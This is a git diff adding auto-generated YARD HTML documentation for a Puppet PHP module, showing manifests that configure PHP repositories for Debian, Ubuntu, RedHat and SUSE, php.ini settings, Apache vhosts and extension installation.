    # File 'manifests/phpunit/auto_update.pp', line 14
    +
    +class php::phpunit::auto_update (
    +  $max_age,
    +  $source,
    +  $path,
    +) {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::phpunit::auto_update is private')
    +  }
    +
    +  exec { 'update phpunit':
    +    command => "wget ${source} -O ${path}",
    +    onlyif  => "test `find '${path}' -mtime +${max_age}`",
    +    path    => [ '/bin/', '/sbin/' , '/usr/bin/', '/usr/sbin/' ],
    +    require => File[$path],
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo.html new file mode 100644 index 000000000..21009ea7a --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo.html @@ -0,0 +1,169 @@ + + + + + + + Puppet Class: php::repo + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::repo

    +
    + + +
    +
    Defined in:
    +
    + manifests/repo.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Configure package repository

    + +
    +
    +
    + + +
    + + + + + +
    +
    +
    +
    +3
    +4
    +5
    +6
    +7
    +8
    +9
    +10
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +
    +
    # File 'manifests/repo.pp', line 3
    +
    +class php::repo {
    +
    +  $msg_no_repo = "No repo available for ${facts['os']['family']}/${facts['os']['name']}"
    +
    +  case $facts['os']['family'] {
    +    'Debian': {
    +      # no contain here because apt does that already
    +      case $facts['os']['name'] {
    +        'Debian': {
    +          include ::php::repo::debian
    +        }
    +        'Ubuntu': {
    +          include ::php::repo::ubuntu
    +        }
    +        default: {
    +          fail($msg_no_repo)
    +        }
    +      }
    +    }
    +    'FreeBSD': {}
    +    'Suse': {
    +      contain ::php::repo::suse
    +    }
    +    'RedHat': {
    +      contain '::php::repo::redhat'
    +    }
    +    default: {
    +      fail($msg_no_repo)
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Adebian.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Adebian.html new file mode 100644 index 000000000..d58c119f9 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Adebian.html @@ -0,0 +1,312 @@ + + + + + + + Puppet Class: php::repo::debian + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::repo::debian

    +
    + + +
    +
    Defined in:
    +
    + manifests/repo/debian.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Configure debian apt repo

    + +

    === Parameters

    + +

    [location] + Location of the apt repository

    + +

    [release] + Release of the apt repository

    + +

    [repos] + Apt repository names

    + +

    [include_src] + Add source source repository

    + +

    [key] + Public key in apt::key format

    + +

    [dotdeb] + Enable special dotdeb handling

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + location + + + (Any) + + + (defaults to: 'http://packages.dotdeb.org') + + +
    • + +
    • + + release + + + (Any) + + + (defaults to: 'wheezy-php56') + + +
    • + +
    • + + repos + + + (Any) + + + (defaults to: 'all') + + +
    • + +
    • + + include_src + + + (Any) + + + (defaults to: false) + + +
    • + +
    • + + key + + + (Any) + + + (defaults to: { + 'id' => '6572BBEF1B5FF28B28B706837E3F070089DF5277', + 'source' => 'http://www.dotdeb.org/dotdeb.gpg', + }) + + +
    • + +
    • + + dotdeb + + + (Any) + + + (defaults to: true) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +50
    +51
    +52
    +53
    +54
    +55
    +56
    +57
    +58
    +59
    +60
    +61
    +62
    +63
    +64
    +65
    +66
    +67
    +68
    +69
    +70
    +71
    +72
    +
    +
    # File 'manifests/repo/debian.pp', line 23
    +
    +class php::repo::debian(
    +  $location     = 'http://packages.dotdeb.org',
    +  $release      = 'wheezy-php56',
    +  $repos        = 'all',
    +  $include_src  = false,
    +  $key          = {
    +    'id'     => '6572BBEF1B5FF28B28B706837E3F070089DF5277',
    +    'source' => 'http://www.dotdeb.org/dotdeb.gpg',
    +  },
    +  $dotdeb       = true,
    +) {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::repo::debian is private')
    +  }
    +
    +  include '::apt'
    +
    +  create_resources(::apt::key, { 'php::repo::debian' => {
    +    id     => $key['id'],
    +    source => $key['source'],
    +  }})
    +
    +  ::apt::source { "source_php_${release}":
    +    location => $location,
    +    release  => $release,
    +    repos    => $repos,
    +    include  => {
    +      'src' => $include_src,
    +      'deb' => true,
    +    },
    +    require  => Apt::Key['php::repo::debian'],
    +  }
    +
    +  if ($dotdeb) {
    +    # both repositories are required to work correctly
    +    # See: http://www.dotdeb.org/instructions/
    +    if $release == 'wheezy-php56' {
    +      ::apt::source { 'dotdeb-wheezy':
    +        location => $location,
    +        release  => 'wheezy',
    +        repos    => $repos,
    +        include  => {
    +          'src' => $include_src,
    +          'deb' => true,
    +        },
    +      }
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Aredhat.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Aredhat.html new file mode 100644 index 000000000..05734b324 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Aredhat.html @@ -0,0 +1,177 @@ + + + + + + + Puppet Class: php::repo::redhat + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::repo::redhat

    +
    + + +
    +
    Defined in:
    +
    + manifests/repo/redhat.pp +
    +
    +
    + +

    Overview

    +
    +
    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + yum_repo + + + (Any) + + + (defaults to: 'remi_php56') + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +9
    +10
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +
    +
    # File 'manifests/repo/redhat.pp', line 9
    +
    +class php::repo::redhat (
    +  $yum_repo = 'remi_php56',
    +) {
    +
    +  $releasever = $facts['os']['name'] ? {
    +    /(?i:Amazon)/ => '6',
    +    default       => '$releasever',  # Yum var
    +  }
    +
    +  yumrepo { 'remi':
    +    descr      => 'Remi\'s RPM repository for Enterprise Linux $releasever - $basearch',
    +    mirrorlist => "https://rpms.remirepo.net/enterprise/${releasever}/remi/mirror",
    +    enabled    => 1,
    +    gpgcheck   => 1,
    +    gpgkey     => 'https://rpms.remirepo.net/RPM-GPG-KEY-remi',
    +    priority   => 1,
    +  }
    +
    +  yumrepo { 'remi-php56':
    +    descr      => 'Remi\'s PHP 5.6 RPM repository for Enterprise Linux $releasever - $basearch',
    +    mirrorlist => "https://rpms.remirepo.net/enterprise/${releasever}/php56/mirror",
    +    enabled    => 1,
    +    gpgcheck   => 1,
    +    gpgkey     => 'https://rpms.remirepo.net/RPM-GPG-KEY-remi',
    +    priority   => 1,
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Asuse.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Asuse.html new file mode 100644 index 000000000..43e07075a --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Asuse.html @@ -0,0 +1,175 @@ + + + + + + + Puppet Class: php::repo::suse + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::repo::suse

    +
    + + +
    +
    Defined in:
    +
    + manifests/repo/suse.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Configure suse repo

    + +

    === Parameters

    + +

    [reponame] + Name of the Zypper repository

    + +

    [baseurl] + Base URL of the Zypper repository

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + reponame + + + (Any) + + + (defaults to: 'mayflower-php56') + + +
    • + +
    • + + baseurl + + + (Any) + + + (defaults to: 'http://download.opensuse.org/repositories/home:/mayflower:/php5.6_based/SLE_11_SP3/') + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +
    +
    # File 'manifests/repo/suse.pp', line 11
    +
    +class php::repo::suse (
    +  $reponame = 'mayflower-php56',
    +  $baseurl  = 'http://download.opensuse.org/repositories/home:/mayflower:/php5.6_based/SLE_11_SP3/',
    +) {
    +  zypprepo { $reponame:
    +    baseurl     => $baseurl,
    +    enabled     => 1,
    +    autorefresh => 1,
    +  }
    +  ~> exec { 'zypprepo-accept-key':
    +    command     => 'zypper --gpg-auto-import-keys update -y',
    +    path        => '/usr/bin:/bin',
    +    refreshonly => true,
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Aubuntu.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Aubuntu.html new file mode 100644 index 000000000..f41785aca --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Arepo_3A_3Aubuntu.html @@ -0,0 +1,177 @@ + + + + + + + Puppet Class: php::repo::ubuntu + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::repo::ubuntu

    +
    + + +
    +
    Defined in:
    +
    + manifests/repo/ubuntu.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Configure ubuntu ppa

    + +

    === Parameters

    + +

    [version] + PHP version to manage (e.g. 5.6)

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + version + + + (Any) + + + (defaults to: undef) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +8
    +9
    +10
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +
    +
    # File 'manifests/repo/ubuntu.pp', line 8
    +
    +class php::repo::ubuntu (
    +  $version   = undef,
    +) {
    +  include '::apt'
    +
    +  if($version == undef) {
    +    $version_real = '5.6'
    +  } else {
    +    $version_real = $version
    +  }
    +
    +  if ($version_real == '5.5') {
    +    fail('PHP 5.5 is no longer available for download')
    +  }
    +  assert_type(Pattern[/^\d\.\d/], $version_real)
    +
    +  $version_repo = $version_real ? {
    +    '5.4' => 'ondrej/php5-oldstable',
    +    '5.6' => 'ondrej/php',
    +    '7.0' => 'ondrej/php'
    +  }
    +
    +  ::apt::ppa { "ppa:${version_repo}": }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_type_list.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_type_list.html new file mode 100644 index 000000000..344a86a7b --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_type_list.html @@ -0,0 +1,104 @@ + + + + + + + + + + + + + + + + + + Defined Type List + + + +
    +
    +

    Defined Type List

    + + + +
    + + +
    + + diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aapache_vhost.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aapache_vhost.html new file mode 100644 index 000000000..03dea06f8 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aapache_vhost.html @@ -0,0 +1,223 @@ + + + + + + + Defined Type: php::apache_vhost + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Defined Type: php::apache_vhost

    +
    +
    +
    Defined in:
    +
    + manifests/apache_vhost.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Configures an apache vhost for php

    + +

    === Parameters

    + +

    [vhost] + The vhost address

    + +

    [docroot] + The vhost docroot

    + +

    [port] + The vhost port

    + +

    [default_vhost] + defines if vhost is the default vhost

    + +

    [fastcgi_socket] + address of the fastcgi socket

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + vhost + + + (Any) + + + (defaults to: 'example.com') + + +
    • + +
    • + + docroot + + + (Any) + + + (defaults to: '/var/www') + + +
    • + +
    • + + port + + + (Any) + + + (defaults to: 80) + + +
    • + +
    • + + default_vhost + + + (Any) + + + (defaults to: true) + + +
    • + +
    • + + fastcgi_socket + + + (Any) + + + (defaults to: 'fcgi://127.0.0.1:9000/$1') + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +
    +
    # File 'manifests/apache_vhost.pp', line 20
    +
    +define php::apache_vhost(
    +  $vhost          = 'example.com',
    +  $docroot        = '/var/www',
    +  $port           = 80,
    +  $default_vhost  = true,
    +  $fastcgi_socket = 'fcgi://127.0.0.1:9000/$1'
    +) {
    +
    +  ::apache::vhost { $vhost:
    +    docroot         => $docroot,
    +    default_vhost   => $default_vhost,
    +    port            => $port,
    +    override        => 'all',
    +    custom_fragment => "ProxyPassMatch ^/(.*\\.php(/.*)?)$ ${fastcgi_socket}",
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aconfig.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aconfig.html new file mode 100644 index 000000000..4dcdc194e --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aconfig.html @@ -0,0 +1,174 @@ + + + + + + + Defined Type: php::config + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Defined Type: php::config

    +
    +
    +
    Defined in:
    +
    + manifests/config.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Configure php.ini settings for a PHP SAPI

    + +

    === Parameters

    + +

    [file] + The path to ini file

    + +

    [config] + Nested hash of key => value to apply to php.ini

    + +

    === Examples

    + +

    php::config { '$unique-name': + file => '$full_path_to_ini_file' + config => { + => 'Europe/Berlin' + } + }

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + file + + + (Stdlib::Absolutepath) + + + +
    • + +
    • + + config + + + (Hash) + + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +
    +
    # File 'manifests/config.pp', line 20
    +
    +define php::config(
    +  Stdlib::Absolutepath $file,
    +  Hash $config
    +) {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::config is private')
    +  }
    +
    +  create_resources(::php::config::setting, to_hash_settings($config, $file), {
    +    file => $file
    +  })
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aconfig_3A_3Asetting.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aconfig_3A_3Asetting.html new file mode 100644 index 000000000..c7b487bd0 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aconfig_3A_3Asetting.html @@ -0,0 +1,226 @@ + + + + + + + Defined Type: php::config::setting + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Defined Type: php::config::setting

    +
    +
    +
    Defined in:
    +
    + manifests/config/setting.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Configure php.ini settings

    + +

    === Parameters

    + +

    [key] + The key of the value, like ini_setting

    + +

    [file] + The path to ini file

    + +

    [value] + The value to set

    + +

    === Examples

    + +

    php::config::setting { 'Date/date.timezone': + file => '$full_path_to_ini_file' + value => 'Europe/Berlin' + }

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + key + + + (Any) + + + +
    • + +
    • + + value + + + (Any) + + + +
    • + +
    • + + file + + + (Stdlib::Absolutepath) + + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +50
    +51
    +52
    +53
    +
    +
    # File 'manifests/config/setting.pp', line 21
    +
    +define php::config::setting(
    +  $key,
    +  $value,
    +  Stdlib::Absolutepath $file,
    +) {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::config::setting is private')
    +  }
    +
    +  $split_name = split($key, '/')
    +  if count($split_name) == 1 {
    +    $section = '' # lint:ignore:empty_string_assignment
    +    $setting = $split_name[0]
    +  } else {
    +    $section = $split_name[0]
    +    $setting = $split_name[1]
    +  }
    +
    +  if $value == undef {
    +    $ensure = 'absent'
    +  } else {
    +    $ensure = 'present'
    +  }
    +
    +  ini_setting { $name:
    +    ensure  => $ensure,
    +    value   => $value,
    +    path    => $file,
    +    section => $section,
    +    setting => $setting,
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension.html new file mode 100644 index 000000000..163e06749 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension.html @@ -0,0 +1,460 @@ + + + + + + + Defined Type: php::extension + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Defined Type: php::extension

    +
    +
    +
    Defined in:
    +
    + manifests/extension.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install a PHP extension package

    + +

    === Parameters

    + +

    [ensure] + The ensure of the package to install + Could be "latest", "installed" or a pinned version

    + +

    [package_prefix] + Prefix to prepend to the package name for the package provider

    + +

    [provider] + The provider used to install the package + Could be "pecl", "apt", "dpkg" or any other OS package provider + If set to "none", no package will be installed

    + +

    [source] + The source to install the extension from. Possible values + depend on the provider used

    + +

    [so_name] + The DSO name of the package (e.g. opcache for zendopcache)

    + +

    [ini_prefix] + An optional filename prefix for the settings file of the extension

    + +

    [php_api_version] + This parameter is used to build the full path to the extension + directory for zend_extension in PHP < 5.5 (e.g. 20100525)

    + +

    [header_packages] + System packages dependencies to install for extensions (e.g. for + memcached libmemcached-dev on Debian)

    + +

    [compiler_packages] + System packages dependencies to install for compiling extensions + (e.g. build-essential on Debian)

    + +

    [zend] + Boolean parameter, whether to load extension as zend_extension. + Defaults to false.

    + +

    [settings] + Nested hash of global config parameters for php.ini

    + +

    [settings_prefix] + Boolean/String parameter, whether to prefix all setting keys with + the extension name or specified name. Defaults to false.

    + +

    [sapi] + String parameter, whether to specify ALL sapi or a specific sapi. + Defaults to ALL.

    + +

    [responsefile] + File containing answers for interactive extension setup. Supported + providers: pear, pecl.

    + +

    [install_options] + Array of String or Hash options to pass to the provider.

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + ensure + + + (String) + + + (defaults to: 'installed') + + +
    • + +
    • + + provider + + + (Optional[Php::Provider]) + + + (defaults to: undef) + + +
    • + +
    • + + source + + + (Optional[String]) + + + (defaults to: undef) + + +
    • + +
    • + + so_name + + + (Optional[String]) + + + (defaults to: downcase($name)) + + +
    • + +
    • + + ini_prefix + + + (Optional[String]) + + + (defaults to: undef) + + +
    • + +
    • + + php_api_version + + + (Optional[String]) + + + (defaults to: undef) + + +
    • + +
    • + + package_prefix + + + (String) + + + (defaults to: $::php::package_prefix) + + +
    • + +
    • + + zend + + + (Boolean) + + + (defaults to: false) + + +
    • + +
    • + + settings + + + (Hash) + + + (defaults to: {}) + + +
    • + +
    • + + sapi + + + (Php::Sapi) + + + (defaults to: 'ALL') + + +
    • + +
    • + + settings_prefix + + + (Variant[Boolean, String]) + + + (defaults to: false) + + +
    • + +
    • + + responsefile + + + (Optional[Stdlib::AbsolutePath]) + + + (defaults to: undef) + + +
    • + +
    • + + header_packages + + + (Variant[String, Array[String]]) + + + (defaults to: []) + + +
    • + +
    • + + compiler_packages + + + (Variant[String, Array[String]]) + + + (defaults to: $::php::params::compiler_packages) + + +
    • + +
    • + + install_options + + + (Php::InstallOptions) + + + (defaults to: undef) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +61
    +62
    +63
    +64
    +65
    +66
    +67
    +68
    +69
    +70
    +71
    +72
    +73
    +74
    +75
    +76
    +77
    +78
    +79
    +80
    +81
    +82
    +83
    +84
    +85
    +86
    +87
    +88
    +89
    +90
    +91
    +92
    +93
    +94
    +95
    +96
    +97
    +98
    +99
    +100
    +101
    +102
    +103
    +104
    +105
    +106
    +107
    +108
    +109
    +
    +
    # File 'manifests/extension.pp', line 61
    +
    +define php::extension (
    +  String           $ensure                          = 'installed',
    +  Optional[Php::Provider] $provider                 = undef,
    +  Optional[String] $source                          = undef,
    +  Optional[String] $so_name                         = downcase($name),
    +  Optional[String] $ini_prefix                      = undef,
    +  Optional[String] $php_api_version                 = undef,
    +  String           $package_prefix                  = $::php::package_prefix,
    +  Boolean          $zend                            = false,
    +  Hash             $settings                        = {},
    +  Php::Sapi        $sapi                            = 'ALL',
    +  Variant[Boolean, String]       $settings_prefix   = false,
    +  Optional[Stdlib::AbsolutePath] $responsefile      = undef,
    +  Variant[String, Array[String]] $header_packages   = [],
    +  Variant[String, Array[String]] $compiler_packages = $::php::params::compiler_packages,
    +  Php::InstallOptions $install_options              = undef,
    +) {
    +
    +  if ! defined(Class['php']) {
    +    warning('php::extension is private')
    +  }
    +
    +  php::extension::install { $title:
    +    ensure            => $ensure,
    +    provider          => $provider,
    +    source            => $source,
    +    responsefile      => $responsefile,
    +    package_prefix    => $package_prefix,
    +    header_packages   => $header_packages,
    +    compiler_packages => $compiler_packages,
    +    install_options   => $install_options,
    +  }
    +
    +  # PEAR packages don't require any further configuration, they just need to "be there".
    +  if $provider != 'pear' {
    +    php::extension::config { $title:
    +      ensure          => $ensure,
    +      provider        => $provider,
    +      so_name         => $so_name,
    +      ini_prefix      => $ini_prefix,
    +      php_api_version => $php_api_version,
    +      zend            => $zend,
    +      settings        => $settings,
    +      settings_prefix => $settings_prefix,
    +      sapi            => $sapi,
    +      subscribe       => Php::Extension::Install[$title],
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension_3A_3Aconfig.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension_3A_3Aconfig.html new file mode 100644 index 000000000..8b595692a --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension_3A_3Aconfig.html @@ -0,0 +1,418 @@ + + + + + + + Defined Type: php::extension::config + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Defined Type: php::extension::config

    +
    +
    +
    Defined in:
    +
    + manifests/extension/config.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Configure a PHP extension package

    + +

    === Parameters

    + +

    [ensure] + The ensure of the package to install + Could be "latest", "installed" or a pinned version

    + +

    [provider] + The provider used to install the package + Could be "pecl", "apt", "dpkg" or any other OS package provider + If set to "none", no package will be installed

    + +

    [so_name] + The DSO name of the package (e.g. opcache for zendopcache)

    + +

    [ini_prefix] + An optional filename prefix for the settings file of the extension

    + +

    [php_api_version] + This parameter is used to build the full path to the extension + directory for zend_extension in PHP < 5.5 (e.g. 20100525)

    + +

    [header_packages] + System packages dependencies to install for extensions (e.g. for + memcached libmemcached-dev on Debian)

    + +

    [compiler_packages] + System packages dependencies to install for compiling extensions + (e.g. build-essential on Debian)

    + +

    [zend] + Boolean parameter, whether to load extension as zend_extension. + Defaults to false.

    + +

    [settings] + Nested hash of global config parameters for php.ini

    + +

    [settings_prefix] + Boolean/String parameter, whether to prefix all setting keys with + the extension name or specified name. Defaults to false.

    + +

    [sapi] + String parameter, whether to specify ALL sapi or a specific sapi. + Defaults to ALL.

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + ensure + + + (String) + + + (defaults to: 'installed') + + +
    • + +
    • + + provider + + + (Optional[Php::Provider]) + + + (defaults to: undef) + + +
    • + +
    • + + so_name + + + (Optional[String]) + + + (defaults to: downcase($name)) + + +
    • + +
    • + + ini_prefix + + + (Optional[String]) + + + (defaults to: undef) + + +
    • + +
    • + + php_api_version + + + (Optional[String]) + + + (defaults to: undef) + + +
    • + +
    • + + zend + + + (Boolean) + + + (defaults to: false) + + +
    • + +
    • + + settings + + + (Hash) + + + (defaults to: {}) + + +
    • + +
    • + + settings_prefix + + + (Variant[Boolean, String]) + + + (defaults to: false) + + +
    • + +
    • + + sapi + + + (Php::Sapi) + + + (defaults to: 'ALL') + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +47
    +48
    +49
    +50
    +51
    +52
    +53
    +54
    +55
    +56
    +57
    +58
    +59
    +60
    +61
    +62
    +63
    +64
    +65
    +66
    +67
    +68
    +69
    +70
    +71
    +72
    +73
    +74
    +75
    +76
    +77
    +78
    +79
    +80
    +81
    +82
    +83
    +84
    +85
    +86
    +87
    +88
    +89
    +90
    +91
    +92
    +93
    +94
    +95
    +96
    +97
    +98
    +99
    +100
    +101
    +102
    +103
    +104
    +105
    +106
    +107
    +108
    +109
    +110
    +111
    +112
    +113
    +114
    +115
    +116
    +117
    +118
    +119
    +120
    +
    +
    # File 'manifests/extension/config.pp', line 47
    +
    +define php::extension::config (
    +  String                   $ensure          = 'installed',
    +  Optional[Php::Provider]  $provider        = undef,
    +  Optional[String]         $so_name         = downcase($name),
    +  Optional[String]         $ini_prefix      = undef,
    +  Optional[String]         $php_api_version = undef,
    +  Boolean                  $zend            = false,
    +  Hash                     $settings        = {},
    +  Variant[Boolean, String] $settings_prefix = false,
    +  Php::Sapi                $sapi            = 'ALL',
    +) {
    +
    +  if ! defined(Class['php']) {
    +    warning('php::extension::config is private')
    +  }
    +
    +  if $zend == true {
    +    $extension_key = 'zend_extension'
    +    $module_path = $php_api_version? {
    +      undef   => undef,
    +      default => "/usr/lib/php5/${php_api_version}/",
    +    }
    +  } else {
    +    $extension_key = 'extension'
    +    $module_path = undef
    +  }
    +
    +  $ini_name = downcase($so_name)
    +
    +  # Ensure "<extension>." prefix is present in setting keys if requested
    +  $full_settings = $settings_prefix? {
    +    true   => ensure_prefix($settings, "${so_name}."),
    +    false  => $settings,
    +    String => ensure_prefix($settings, "${settings_prefix}."),
    +  }
    +
    +  if $provider != 'pear' {
    +    $final_settings = deep_merge(
    +      {"${extension_key}" => "${module_path}${so_name}.so"},
    +      $full_settings
    +    )
    +  } else {
    +    $final_settings = $full_settings
    +  }
    +
    +  $config_root_ini = pick_default($::php::config_root_ini, $::php::params::config_root_ini)
    +  ::php::config { $title:
    +    file   => "${config_root_ini}/${ini_prefix}${ini_name}.ini",
    +    config => $final_settings,
    +  }
    +
    +  # Ubuntu/Debian systems use the mods-available folder. We need to enable
    +  # settings files ourselves with php5enmod command.
    +  $ext_tool_enable   = pick_default($::php::ext_tool_enable, $::php::params::ext_tool_enable)
    +  $ext_tool_query    = pick_default($::php::ext_tool_query, $::php::params::ext_tool_query)
    +  $ext_tool_enabled  = pick_default($::php::ext_tool_enabled, $::php::params::ext_tool_enabled)
    +
    +  if $facts['os']['family'] == 'Debian' and $ext_tool_enabled {
    +    $cmd = "${ext_tool_enable} -s ${sapi} ${so_name}"
    +
    +    $_sapi = $sapi? {
    +      'ALL' => 'cli',
    +      default => $sapi,
    +    }
    +    exec { $cmd:
    +      onlyif  => "${ext_tool_query} -s ${_sapi} -m ${so_name} | /bin/grep 'No module matches ${so_name}'",
    +      require => ::Php::Config[$title],
    +    }
    +
    +    if $::php::fpm {
    +      Package[$::php::fpm::package] ~> Exec[$cmd]
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension_3A_3Ainstall.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension_3A_3Ainstall.html new file mode 100644 index 000000000..3c73f7bfc --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Aextension_3A_3Ainstall.html @@ -0,0 +1,356 @@ + + + + + + + Defined Type: php::extension::install + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Defined Type: php::extension::install

    +
    +
    +
    Defined in:
    +
    + manifests/extension/install.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install a PHP extension package

    + +

    === Parameters

    + +

    [ensure] + The ensure of the package to install + Could be "latest", "installed" or a pinned version

    + +

    [package_prefix] + Prefix to prepend to the package name for the package provider

    + +

